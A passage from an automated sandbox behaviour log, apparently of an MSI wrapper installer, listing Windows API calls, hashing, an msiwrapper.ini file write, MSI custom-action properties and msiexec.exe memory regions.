lpFileSizeHigh=0x0) returned 0x494 [0149.380] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x496) returned 0x342ac8 [0149.380] ReadFile (in: hFile=0x180, lpBuffer=0x342ac8, nNumberOfBytesToRead=0x494, lpNumberOfBytesRead=0x21df458, lpOverlapped=0x0 | out: lpBuffer=0x342ac8*, lpNumberOfBytesRead=0x21df458*=0x494, lpOverlapped=0x0) returned 1 [0149.381] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x342ac8 | out: hHeap=0x340000) returned 1 [0149.381] CloseHandle (hObject=0x180) returned 1 [0149.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f97f8 [0149.381] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.382] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.382] CryptAcquireContextW (in: phProv=0x21df41c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df41c*=0x5f98a0) returned 1 [0149.384] CryptCreateHash (in: hProv=0x5f98a0, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df420 | out: phHash=0x21df420) returned 1 [0149.384] CryptHashData (hHash=0x5f6738, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.384] CryptHashData (hHash=0x5f6738, pbData=0x5f9dc8, dwDataLen=0x40c, dwFlags=0x0) returned 1 [0149.384] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x4, pbData=0x21df3c8, pdwDataLen=0x21df3a8, dwFlags=0x0 | out: pbData=0x21df3c8, pdwDataLen=0x21df3a8) returned 1 [0149.384] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.384] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.384] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3c8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3c8) returned 1 [0149.384] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.384] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.384] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.384] GetLastError () returned 0x0 [0149.385] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.385] GetLastError () returned 0x0 [0149.385] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.385] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.385] GetLastError () returned 0x0 [0149.385] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.385] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.386] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.386] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.387] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9b88 [0149.387] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9b98, cchWideChar=64 | out: lpWideCharStr="c7a1ae74ae0e3913f9278c0012bdfe14bb420cd10d6b23d71685f4e465530458") returned 0 [0149.387] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.387] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.387] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.387] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.388] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.388] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.388] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.388] CryptDestroyHash (hHash=0x5f6738) returned 1 [0149.388] CryptReleaseContext (hProv=0x5f98a0, dwFlags=0x0) returned 1 [0149.388] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9b88 | out: hHeap=0x5c0000) returned 1 [0149.389] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.389] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.389] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f3dc0, Size=0x50) returned 0x5f5c18 [0149.389] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.389] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.390] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.390] CryptAcquireContextW (in: phProv=0x21df42c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df42c*=0x5f97f8) returned 1 [0149.391] CryptCreateHash (in: hProv=0x5f97f8, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df430 | out: phHash=0x21df430) returned 1 [0149.391] CryptHashData (hHash=0x5f6778, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.391] CryptHashData (hHash=0x5f6778, pbData=0x5f9dc8, dwDataLen=0x442, dwFlags=0x0) returned 1 [0149.391] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x4, pbData=0x21df3d8, pdwDataLen=0x21df3b8, dwFlags=0x0 | out: pbData=0x21df3d8, pdwDataLen=0x21df3b8) returned 1 [0149.391] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.391] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.391] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3d8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3d8) returned 1 [0149.391] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.391] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.391] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.392] GetLastError () returned 0x0 [0149.392] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.392] GetLastError () returned 0x0 [0149.392] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.392] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.399] GetLastError () returned 0x0 [0149.399] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.399] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.399] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.399] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9880 [0149.399] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9890, cchWideChar=64 | out: lpWideCharStr="c16e7c7abe729791dfb124513c75ab242b5b67ce4bee2255a9e43103ad7b0870ẜ") returned 0 [0149.400] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.400] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.400] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.400] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.400] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.400] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.401] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.401] CryptDestroyHash (hHash=0x5f6778) returned 1 [0149.401] CryptReleaseContext (hProv=0x5f97f8, dwFlags=0x0) returned 1 [0149.401] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.401] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.402] WriteFile (in: hFile=0x180, lpBuffer=0x5f9dca*, nNumberOfBytesToWrite=0x4ca, lpNumberOfBytesWritten=0x21df464, lpOverlapped=0x0 | out: lpBuffer=0x5f9dca*, lpNumberOfBytesWritten=0x21df464*=0x4ca, lpOverlapped=0x0) returned 1 [0149.403] CloseHandle (hObject=0x180) returned 1 [0149.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9880 | out: hHeap=0x5c0000) returned 1 [0149.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.405] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0149.405] MsiCreateRecord (cParams=0x2) returned 0x43 [0149.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.411] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x80) returned 0x5f97f8 [0149.411] MsiRecordSetStringW (hRecord=0x43, iField=0x0, szValue="-- CUSTOM ACTION -- SetProperty: Name=BZ.INIFILE") returned 0x0 [0149.411] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x43) returned 0 [0149.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.414] MsiCloseHandle (hAny=0x43) returned 0x0 [0149.416] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.416] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.416] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0xf0) returned 0x5f97f8 [0149.416] MsiCreateRecord (cParams=0x2) returned 0x44 [0149.418] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.418] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x120) returned 0x5f6490 [0149.418] MsiRecordSetStringW (hRecord=0x44, iField=0x0, szValue="-- CUSTOM ACTION -- SetProperty: Value=C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini") returned 0x0 [0149.419] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x44) returned 0 [0149.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f6490 | out: hHeap=0x5c0000) returned 1 [0149.423] MsiCloseHandle (hAny=0x44) returned 0x0 [0149.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.425] MsiSetPropertyW (hInstall=0x1, szName="BZ.INIFILE", szValue="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini") returned 0x0 [0149.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.428] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0xf0) returned 0x5f97f8 [0149.428] MsiCreateRecord (cParams=0x2) returned 0x45 [0149.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.429] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x120) returned 0x5f6490 [0149.429] MsiRecordSetStringW (hRecord=0x45, iField=0x0, szValue="-- CUSTOM ACTION -- CustomActionData: C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini") returned 0x0 [0149.430] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x45) returned 0 [0149.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f6490 | out: hHeap=0x5c0000) returned 1 [0149.433] MsiCloseHandle (hAny=0x45) returned 0x0 [0149.435] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.435] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d98 | out: hHeap=0x5c0000) returned 1 [0149.435] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f56e0 | out: hHeap=0x5c0000) returned 1 [0149.435] CryptDestroyHash (hHash=0x5f66b8) returned 1 [0149.435] CryptReleaseContext (hProv=0x5f9978, dwFlags=0x0) returned 1 [0149.435] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5858 | out: hHeap=0x5c0000) returned 1 [0149.435] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9730 | out: hHeap=0x5c0000) returned 1 [0149.436] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d48 | out: hHeap=0x5c0000) returned 1 [0149.436] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d20 | out: hHeap=0x5c0000) returned 1 [0149.436] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3cf8 | out: hHeap=0x5c0000) returned 1 [0149.436] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f7748 | out: hHeap=0x5c0000) returned 1 [0149.436] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9db8 | out: hHeap=0x5c0000) returned 1 [0149.437] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5b40 | out: hHeap=0x5c0000) returned 1 [0149.438] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f57a0 | out: hHeap=0x5c0000) returned 1 [0149.438] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5738 | out: hHeap=0x5c0000) returned 1 [0149.439] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3bb8 | out: hHeap=0x5c0000) returned 1 [0149.440] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b40 | out: hHeap=0x340000) returned 1 [0149.440] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b20 | out: hHeap=0x340000) returned 1 [0149.440] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b30 | out: hHeap=0x340000) returned 1 [0149.441] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f50 | out: hHeap=0x340000) returned 1 [0149.441] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b50 | out: hHeap=0x340000) returned 1 [0149.441] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f28 | out: hHeap=0x340000) returned 1 [0149.441] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f40 | out: hHeap=0x340000) returned 1 [0149.441] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ce0 | out: hHeap=0x340000) returned 1 [0149.441] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b00 | out: hHeap=0x340000) returned 1 [0149.441] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ee8 | out: hHeap=0x340000) returned 1 [0149.445] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ac0 | out: hHeap=0x340000) returned 1 [0149.450] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x3421e0 | out: hHeap=0x340000) returned 1 [0149.450] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f80 | out: hHeap=0x340000) returned 1 [0149.451] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x3407d0 | out: hHeap=0x340000) returned 1 [0149.451] HeapDestroy (hHeap=0x340000) returned 1 Process: id = "9" image_name = "msiexec.exe" filename = "c:\\windows\\syswow64\\msiexec.exe" page_root = "0x30342000" os_pid = "0x38c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xf30" cmd_line = "C:\\Windows\\syswow64\\MsiExec.exe -Embedding ADDCD9128E57B274A403CFC05E47C1FC M Global\\MSI0000" cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\msiserver" [0xe], "NT AUTHORITY\\Logon Session 00000000:0006cbe1" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2312 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2313 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2314 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2315 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2316 start_va = 0x60000 end_va = 0x61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2317 start_va = 0x150000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2318 start_va = 0x1a0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2319 start_va = 0x810000 end_va = 0x823fff monitored = 1 entry_point = 0x813db0 region_type = mapped_file name = "msiexec.exe" filename = "\\Windows\\SysWOW64\\msiexec.exe" (normalized: "c:\\windows\\syswow64\\msiexec.exe") Region: id = 2320 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2321 start_va = 0x76f00000 end_va = 0x7707ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2322 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2323 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2324 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2325 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2326 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2327 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2328 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2329 start_va = 0x1e0000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2330 start_va = 0x73690000 end_va = 0x736cefff monitored = 0 entry_point = 0x736be088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2331 start_va = 0x73630000 end_va = 0x7368bfff monitored = 0 entry_point = 0x7366f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2332 start_va = 0x73620000 end_va = 0x73627fff monitored = 0 entry_point = 0x736220f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2333 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2334 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2335 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2336 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076b00000" filename = "" Region: id = 2337 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2338 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c20000" filename = "" Region: id = 2339 start_va = 0x330000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 2340 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2341 start_va = 0x753c0000 end_va = 0x75406fff monitored = 0 entry_point = 0x753c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2342 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2343 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2344 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2345 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2346 start_va = 0x76a60000 end_va = 0x76afffff monitored = 0 entry_point = 0x76a749e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2347 start_va = 0x75410000 end_va = 0x754bbfff monitored = 0 entry_point = 0x7541a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2348 start_va = 0x759a0000 end_va = 0x759b8fff monitored = 0 entry_point = 0x759a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2349 start_va = 0x76970000 end_va = 0x76a5ffff monitored = 0 entry_point = 0x76980569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2350 start_va = 0x74a50000 end_va = 0x74aaffff monitored = 0 entry_point = 0x74a6a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2351 start_va = 0x74a40000 end_va = 0x74a4bfff monitored = 0 entry_point = 0x74a410e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2352 start_va = 0x76860000 end_va = 0x7695ffff monitored = 0 entry_point = 0x7687b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2353 start_va = 0x75220000 end_va = 0x752affff monitored = 0 entry_point = 0x75236343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2354 start_va = 0x759c0000 end_va = 0x759c9fff monitored = 0 entry_point = 0x759c36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2355 start_va = 0x74d40000 end_va = 0x74ddcfff monitored = 0 entry_point = 0x74d73fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2356 start_va = 0x75740000 end_va = 0x7589bfff monitored = 0 entry_point = 0x7578ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2357 start_va = 0x722b0000 end_va = 0x724effff monitored = 0 entry_point = 0x722b66bd region_type = mapped_file name = "msi.dll" filename = "\\Windows\\SysWOW64\\msi.dll" (normalized: "c:\\windows\\syswow64\\msi.dll") Region: id = 2358 start_va = 0x751c0000 end_va = 0x75216fff monitored = 0 entry_point = 0x751d9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: 